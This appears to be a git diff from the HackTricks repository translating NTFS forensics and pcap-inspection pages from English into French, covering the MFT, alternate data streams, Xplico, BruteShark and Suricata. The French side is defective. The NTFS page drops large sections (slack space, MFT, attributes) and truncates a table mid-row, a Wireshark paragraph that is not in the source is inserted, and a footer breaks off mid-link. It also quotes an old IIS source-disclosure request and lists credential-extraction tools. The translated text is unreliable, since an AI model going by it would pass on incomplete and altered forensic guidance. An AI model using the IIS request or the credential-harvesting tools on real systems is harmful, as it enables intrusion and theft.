hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). ## **NTFS** -**NTFS** (**New Technology File System**) is a proprietary journaling file system developed by Microsoft. +**NTFS** (**New Technology File System**) est un système de fichiers journalisé propriétaire développé par Microsoft. -The cluster is the smallest unit of size in NTFS and the size of the cluster depends on the size of a partition. +Le cluster est l'unité de taille la plus petite dans NTFS et la taille du cluster dépend de la taille d'une partition. -| Partition size | Sectors per cluster | Cluster size | +| Taille de la partition | Secteurs par cluster | Taille du cluster | | ------------------------ | ------------------- | ------------ | -| 512MB or less | 1 | 512 bytes | -| 513MB-1024MB (1GB) | 2 | 1KB | -| 1025MB-2048MB (2GB) | 4 | 2KB | -| 2049MB-4096MB (4GB) | 8 | 4KB | -| 4097MB-8192MB (8GB) | 16 | 8KB | -| 8193MB-16,384MB (16GB) | 32 | 16KB | -| 16,385MB-32,768MB (32GB) | 64 | 32KB | -| Greater than 32,768MB | 128 | 64KB | - -### **Slack-Space** - -As the **smallest** size unit of NTFS is a **cluster**. Each file will be occupying several complete clusters. Then, it's highly probable that **each file occupies more space than necessary**. These **unused** **spaces** **booked** by a file which is called a **slacking** **space** and people could take advantage of this area to **hide** **information**. - -![](<../../../.gitbook/assets/image (498).png>) - -### **NTFS boot sector** - -When you format an NTFS volume, the format program allocates the first 16 sectors for the Boot metadata file. The first sector is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL (Initial Program Loader). To increase file system reliability the very last sector of an NTFS partition contains a spare copy of the boot sector. - -### **Master File Table (MFT)** - -The NTFS file system contains a file called the Master File Table (MFT). There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries or in space outside the MFT that is described by MFT entries. - -As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free** and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. - -The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the **MFT zone**. Space for files and directories is also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. - -Depending on the average file size and other variables, **either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. - -NTFS file systems also generate a **$MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. - -NTFS reserves the first 16 records of the table for special information: - -| System File | File Name | MFT Record | Purpose of the File | -| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Master file table | $Mft | 0 | Contains one base file record for each file and folder on an NTFS volume. If the allocation information for a file or folder is too large to fit within a single record, other file records are allocated as well. | -| Master file table 2 | $MftMirr | 1 | A duplicate image of the first four records of the MFT. This file guarantees access to the MFT in case of a single-sector failure. | -| Log file | $LogFile | 2 | Contains a list of transaction steps used for NTFS recoverability. Log file size depends on the volume size and can be as large as 4 MB. It is used by Windows NT/2000 to restore consistency to NTFS after a system failure. | -| Volume | $Volume | 3 | Contains information about the volume, such as the volume label and the volume version. | -| Attribute definitions | $AttrDef | 4 | A table of attribute names, numbers, and descriptions. | -| Root file name index | $ | 5 | The root folder. | -| Cluster bitmap | $Bitmap | 6 | A representation of the volume showing which clusters are in use. | -| Boot sector | $Boot | 7 | Includes the BPB used to mount the volume and additional bootstrap loader code used if the volume is bootable. | -| Bad cluster file | $BadClus | 8 | Contains bad clusters for the volume. | -| Security file | $Secure | 9 | Contains unique security descriptors for all files within a volume. | -| Upcase table | $Upcase | 10 | Converts lowercase characters to matching Unicode uppercase characters. | -| NTFS extension file | $Extend | 11 | Used for various optional extensions such as quotas, reparse point data, and object identifiers. | -| | | 12-15 | Reserved for future use. | -| Quota management file | $Quota | 24 | Contains user assigned quota limits on the volume space. | -| Object Id file | $ObjId | 25 | Contains file object IDs. | -| Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume including reparse point data. | - -### Each entry of the MFT looks like the following: - -![](<../../../.gitbook/assets/image (499).png>) - -Note how each entry starts with "FILE". Each entry occupies 1024 bits. So after 1024 bit from the start of an MFT entry, you will find the next one. - -Using the [**Active Disk Editor**](https://www.disk-editor.org/index.html) it's very easy to inspect the entry of a file in the MFT. Just right click on the file and then click "Inspect File Record" - -![](<../../../.gitbook/assets/image (500).png>) - -![](<../../../.gitbook/assets/image (501).png>) - -Checking the **"In use**" flag it's very easy to know if a file was deleted (a value of **0x0 means deleted**). - -![](<../../../.gitbook/assets/image (510).png>) - -It's also possible to recover deleted files using FTKImager: - -![](<../../../.gitbook/assets/image (502).png>) - -### MFT Attributes - -Each MFT entry has several attributes as the following image indicates: - -![](<../../../.gitbook/assets/image (506).png>) - -Each attribute indicates some entry information identified by the type: - -| Type Identifier | Name | Description | -| --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- | -| 16 | $STANDARD\_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | -| 32 | $ATTRIBUTE\_LIST | List where other attributes for a file can be found. | -| 48 | $FILE\_NAME | File name, in Unicode, and the last accessed, written, and created times. | -| 64 | $VOLUME\_VERSION | Volume information. Exists only in version 1.2 (Windows NT). | -| 64 | $OBJECT\_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after (Windows 2000+). | -| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | -| 96 | $VOLUME\_NAME | Volume name. | -| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | -| 128 | $DATA | File contents. | -| 144 | $INDEX\_ROOT | Root node of an index tree. | -| 160 | $INDEX\_ALLOCATION | Nodes of an index tree rooted in $INDEX\_ROOT attribute. | -| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | -| 192 | $SYMBOLIC\_LINK | Soft link information. Exists only in version 1.2 (Windows NT). | -| 192 | $REPARSE\_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ (Windows 2000+). | -| 208 | $EA\_INFORMATION | Used for backward compatibility with OS/2 applications (HPFS). | -| 224 | $EA | Used for backward compatibility with OS/2 applications (HPFS). | -| 256 | $LOGGED\_UTILITY\_STREAM | Contains keys and information about encrypted attributes in version 3.0+ (Windows 2000+). | - -For example the **type 48 (0x30)** identifies the **file name**: - -![](<../../../.gitbook/assets/image (508).png>) - -It is also useful to understand that **these attributes can be resident** (meaning, they exist within a given MFT record) or **nonresident** (meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record). For example, if the attribute **$Data is resident**, this means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in another part of the file system. - -Some interesting attributes: - -* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html) (among others): - * Creation date - * Modification date - * Access date - * MFT update date - * DOS File permissions -* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html) (among others): - * File name - * Creation date - * Modification date - * Access date - * MFT update date - * Allocated size - * Real size - * [File reference](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html) to the parent directory. -* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): - * Contains the file's data or the indication of the sectors where the data resides. In the following example, the attribute data is not resident so the attribute gives information about the sectors where the data resides. - -![](<../../../.gitbook/assets/image (507) (1) (1).png>) - -![](<../../../.gitbook/assets/image (509).png>) - -### NTFS timestamps +| 512 Mo ou moins | 1 | 512 octets | +| 513 Mo-1024 Mo (1 Go) | 2 | 1 Ko | +| 1025 Mo-2048 Mo (2 Go) | 4 | 2 Ko | +| 2049 Mo-4096 Mo (4 Go) | 8 | 4 Ko | +| 4097 Mo-8192 Mo (8 Go) | 16 | 8 Ko | +| 8193 Mo-16 384 Mo (16 Go) | +### Horodatage NTFS ![](<../../../.gitbook/assets/image (512).png>) -Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv) (select the mft file or the image and press dump all and extract to extract all the objects).\ -This program will extract all the MFT data and present it in CSV format. It can also be used to dump files. +Un autre outil utile pour analyser le MFT est [**MFT2csv**](https://github.com/jschicht/Mft2Csv) (sélectionnez le fichier MFT ou l'image et appuyez sur "dump all and extract" pour extraire tous les objets).\ +Ce programme extraira toutes les données MFT et les présentera au format CSV. Il peut également être utilisé pour extraire des fichiers. ![](<../../../.gitbook/assets/image (513).png>) ### $LOGFILE -The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**.\ -These logs are useful for the MFT to rebuild the file system in case some kind of error happened. The maximum size of this file is **65536KB**. +Le fichier **`$LOGFILE`** contient des **journaux** sur les **actions** qui ont été **effectuées** **sur** **les fichiers**. Il **enregistre** également l'**action** qu'il devrait effectuer en cas de **refaire** et l'action nécessaire pour **revenir** à l'**état** **précédent**.\ +Ces journaux sont utiles pour que le MFT puisse reconstruire le système de fichiers en cas d'erreur. La taille maximale de ce fichier est de **65536 Ko**. -To inspect the `$LOGFILE` you need to extract it and inspect the `$MFT` previously with [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\ -Then run [**LogFileParser**](https://github.com/jschicht/LogFileParser) against this file and select the exported `$LOGFILE` file and the CVS of the inspection of the `$MFT`. You will obtain a CSV file with the logs of the file system activity recorded by the `$LOGFILE` log. +Pour inspecter le fichier `$LOGFILE`, vous devez l'extraire et inspecter le fichier `$MFT` précédemment avec [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\ +Ensuite, exécutez [**LogFileParser**](https://github.com/jschicht/LogFileParser) sur ce fichier et sélectionnez le fichier `$LOGFILE` exporté et le CVS de l'inspection du `$MFT`. Vous obtiendrez un fichier CSV avec les journaux de l'activité du système de fichiers enregistrée par le journal `$LOGFILE`. ![](<../../../.gitbook/assets/image (515).png>) -Filtering by filenames you can see **all the actions performed against a file**: +En filtrant par noms de fichiers, vous pouvez voir **toutes les actions effectuées sur un fichier** : ![](<../../../.gitbook/assets/image (514).png>) ### $USNJnrl -The file `$EXTEND/$USNJnrl/$J` is an alternate data stream of the file `$EXTEND$USNJnrl`. This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. +Le fichier `$EXTEND/$USNJnrl/$J` est un flux de données alternatif du fichier `$EXTEND$USNJnrl`. Cet artefact contient un **registre des modifications produites à l'intérieur du volume NTFS avec plus de détails que `$LOGFILE`**. -To inspect this file you can use the tool [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv). +Pour inspecter ce fichier, vous pouvez utiliser l'outil [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv). -Filtering by the filename it's possible to see **all the actions performed against a file**. Also, you can find the `MFTReference` in the parent folder. Then looking at that `MFTReference` you can find **information from the parent folder.** +En filtrant par nom de fichier, il est possible de voir **toutes les actions effectuées sur un fichier**. De plus, vous pouvez trouver la `MFTReference` dans le dossier parent. Ensuite, en regardant cette `MFTReference`, vous pouvez trouver **des informations sur le dossier parent**. ![](<../../../.gitbook/assets/image (516).png>) ### $I30 -Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. +Chaque **répertoire** dans le système de fichiers contient un **attribut `$I30`** qui doit être maintenu chaque fois qu'il y a des modifications dans le contenu du répertoire. Lorsque des fichiers ou des dossiers sont supprimés du répertoire, les enregistrements d'index `$I30` sont réorganisés en conséquence. Cependant, **la réorganisation des enregistrements d'index peut laisser des restes de l'entrée de fichier/dossier supprimée dans l'espace libre**. Cela peut être utile dans l'analyse de la criminalistique pour identifier les fichiers qui ont pu exister sur le disque. -You can get the `$I30` file of a directory from the **FTK Imager** and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). +Vous pouvez obtenir le fichier `$I30` d'un répertoire à partir de **FTK Imager** et l'inspecter avec l'outil [Indx2Csv](https://github.com/jschicht/Indx2Csv). ![](<../../../.gitbook/assets/image (519).png>) -With this data, you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this log. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. +Avec ces données, vous pouvez trouver **des informations sur les modifications de fichiers effectuées à l'intérieur du dossier**, mais notez que l'heure de suppression d'un fichier n'est pas enregistrée dans ce journal. Cependant, vous pouvez voir que la **dernière date de modification** du fichier **`$I30`**, et si la **dernière action effectuée** sur le répertoire est la **suppression** d'un fichier, les heures peuvent être les mêmes. ### $Bitmap -The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location used is marked out in the `$BitMap`. +Le **`$BitMap`** est un fichier spécial dans le système de fichiers NTFS. Ce fichier garde **trace de tous les clusters utilisés et inutilisés** sur un volume NTFS. Lorsqu'un fichier prend de l'espace sur le volume NTFS, l'emplacement utilisé est marqué dans le `$BitMap`. ![](<../../../.gitbook/assets/image (523).png>) -### ADS (Alternate Data Stream) +### ADS (flux de données alternatif) -Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ -In this [page you can see different ways to create/access/discover alternate data streams](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past, this cause a vulnerability in IIS as people were able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. +Les flux de données alternatifs permettent aux fichiers de contenir plus d'un flux de données. Chaque fichier a au moins un flux de données. Dans Windows, ce flux de données par défaut est appelé `:$DATA`.\ +Dans cette [page, vous pouvez voir différentes façons de créer/accéder/découvrir des flux de données alternatifs](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) depuis la console. Dans le passé, cela a causé une vulnérabilité dans IIS car les gens pouvaient accéder au code source d'une page en accédant au flux `:$DATA` comme `http://www.alternate-data-streams.com/default.asp::$DATA`. -Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html) you can search and export all the files with some ADS. +En utilisant l'outil [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html), vous pouvez rechercher et exporter tous les fichiers avec un ADS. ![](<../../../.gitbook/assets/image (518).png>) -Using the FTK imager and double clicking on a file with ADS you can **access the ADS data**: +En utilisant FTK Imager et en double-cliquant sur un fichier avec ADS, vous pouvez **accéder aux données ADS** : ![](<../../../.gitbook/assets/image (517).png>) -If you find an ADS called **`Zone.Identifier`** (see the above image), this usually contains **information about how the file was downloaded**. There would be a "ZoneId" field with the following info: +Si vous trouvez un ADS appelé **`Zone.Identifier`** (voir l'image ci-dessus), cela contient généralement **des informations sur la façon dont le fichier a été téléchargé**. Il y aurait un champ "ZoneId" avec les informations suivantes : -* Zone ID = 0 -> Mycomputer +* Zone ID = 0 -> Mon ordinateur * Zone ID = 1 -> Intranet -* Zone ID = 2 -> Trusted +* Zone ID = 2 -> Fiable * Zone ID = 3 -> Internet -* Zone ID = 4 -> Untrusted +* Zone ID = 4 -> Non fiable -Moreover, different software may store additional information: +De plus, différents logiciels peuvent stocker des informations supplémentaires : -| Software | Info | +| Logiciel | Info | | ------------------------------------------------------------------- | ---------------------------------------------------------------------------- | | Google Chrome, Opera, Vivaldi, | ZoneId=3, ReferrerUrl, HostUrl | | Microsoft Edge | ZoneId=3, LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe | @@ -235,10 +111,8 @@ Moreover, different software may store additional information: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [ diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index f3f20194b..b94ff6cda 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,158 +1,159 @@ -# Pcap Inspection +# Inspection de Pcap
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} {% hint style="info" %} -A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +Une note sur **PCAP** vs **PCAPNG** : il existe deux versions du format de fichier PCAP ; **PCAPNG est plus récent et n'est pas pris en charge par tous les outils**. Vous devrez peut-être convertir un fichier de PCAPNG en PCAP à l'aide de Wireshark ou d'un autre outil compatible, afin de travailler avec lui dans d'autres outils. {% endhint %} -## Online tools for pcaps +## Outils en ligne pour les pcaps -* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +* Si l'en-tête de votre pcap est **cassé**, vous devriez essayer de le **réparer** en utilisant : [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +* Extraire des **informations** et rechercher des **malwares** à l'intérieur d'un pcap sur [**PacketTotal**](https://packettotal.com) +* Rechercher une **activité malveillante** en utilisant [**www.virustotal.com**](https://www.virustotal.com) et [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -## Extract Information +## Extraire des informations -The following tools are useful to extract statistics, files, etc. +Les outils suivants sont utiles pour extraire des statistiques, des fichiers, etc. ### Wireshark {% hint style="info" %} -**If you are going to analyze a PCAP you basically must to know how to use Wireshark** +**Si vous allez analyser un PCAP, vous devez essentiellement savoir comment utiliser Wireshark** {% endhint %} -You can find some Wireshark tricks in: +Vous pouvez trouver quelques astuces Wireshark dans : {% content-ref url="wireshark-tricks.md" %} [wireshark-tricks.md](wireshark-tricks.md) {% endcontent-ref %} -### Xplico Framework +### Cadre Xplico -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(uniquement linux)_ peut **analyser** un **pcap** et extraire des informations à partir de celui-ci. Par exemple, à partir d'un fichier pcap, Xplico extrait chaque e-mail (protocoles POP, IMAP et SMTP), tous les contenus HTTP, chaque appel VoIP (SIP), FTP, TFTP, etc. +**Installer** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Exécuter** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Accédez à _**127.0.0.1:9876**_ avec les identifiants _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Ensuite, créez un **nouveau dossier**, créez une **nouvelle session** dans le dossier et **téléchargez le fichier pcap**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Comme Xplico, c'est un outil pour **analyser et extraire des objets des pcaps**. Il a une édition gratuite que vous pouvez **télécharger** [**ici**](https://www.netresec.com/?page=NetworkMiner). Il fonctionne avec **Windows**.\ +Cet outil est également utile pour obtenir **d'autres informations analysées** à partir des paquets afin de pouvoir savoir ce qui se passait de manière **plus rapide**. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Vous pouvez télécharger [**NetWitness Investigator ici**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Il fonctionne sous Windows)**.\ +C'est un autre outil utile qui **analyse les paquets** et trie les informations de manière utile pour **savoir ce qui se passe à l'intérieur**. ![](<../../../.gitbook/assets/image (567) (1).png>) ### [BruteShark](https://github.com/odedshimon/BruteShark) -* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -* Build a visual network diagram (Network nodes & users) -* Extract DNS queries -* Reconstruct all TCP & UDP Sessions -* File Carving +* Extraction et encodage des noms d'utilisateur et des mots de passe (HTTP, FTP, Telnet, IMAP, SMTP...) +* Extraire les hachages d'authentification et les craquer en utilisant Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +* Construire un diagramme de réseau visuel (nœuds et utilisateurs du réseau) +* Extraire les requêtes DNS +* Reconstituer toutes les sessions TCP et UDP +* Sculpture de fichiers ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Si vous cherchez quelque chose à l'intérieur du pcap, vous pouvez utiliser **ngrep**. Voici un exemple utilisant les filtres principaux : ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +L'utilisation de techniques courantes de carving peut être utile pour extraire des fichiers et des informations du pcap : {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Capturing credentials +### Capture de mots de passe -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Vous pouvez utiliser des outils tels que [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) pour extraire des mots de passe à partir d'un pcap ou d'une interface en direct.
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} -## Check Exploits/Malware +## Vérification des exploits/malwares ### Suricata -**Install and setup** - +**Installation et configuration** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` +**Vérifier le fichier pcap** -**Check pcap** +--- +Le fichier pcap est un format de fichier utilisé pour enregistrer les données de trafic réseau. Il est souvent utilisé pour l'analyse de réseau et la résolution de problèmes. Pour vérifier un fichier pcap, vous pouvez utiliser des outils tels que Wireshark ou tcpdump. + +Voici les étapes à suivre pour vérifier un fichier pcap avec Wireshark : + +1. Ouvrez Wireshark et cliquez sur "File" dans la barre de menu supérieure. +2. Sélectionnez "Open" et naviguez jusqu'au fichier pcap que vous souhaitez vérifier. +3. Une fois le fichier ouvert, vous pouvez voir les paquets de données enregistrés dans le fichier pcap. +4. Utilisez les filtres de Wireshark pour affiner votre analyse et trouver des informations spécifiques. + +Il est important de noter que l'analyse de fichiers pcap peut révéler des informations sensibles telles que des mots de passe en clair ou des données personnelles. Assurez-vous de prendre les précautions nécessaires pour protéger ces informations sensibles. ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) est un outil qui -* Reads a PCAP File and Extracts Http Streams. -* gzip deflates any compressed streams -* Scans every file with yara -* Writes a report.txt -* Optionally saves matching files to a Dir +* Lit un fichier PCAP et extrait les flux Http. +* Décompresse gzip tous les flux compressés +* Analyse chaque fichier avec yara +* Écrit un rapport.txt +* Enregistre éventuellement les fichiers correspondants dans un répertoire -### Malware Analysis +### Analyse de Malware 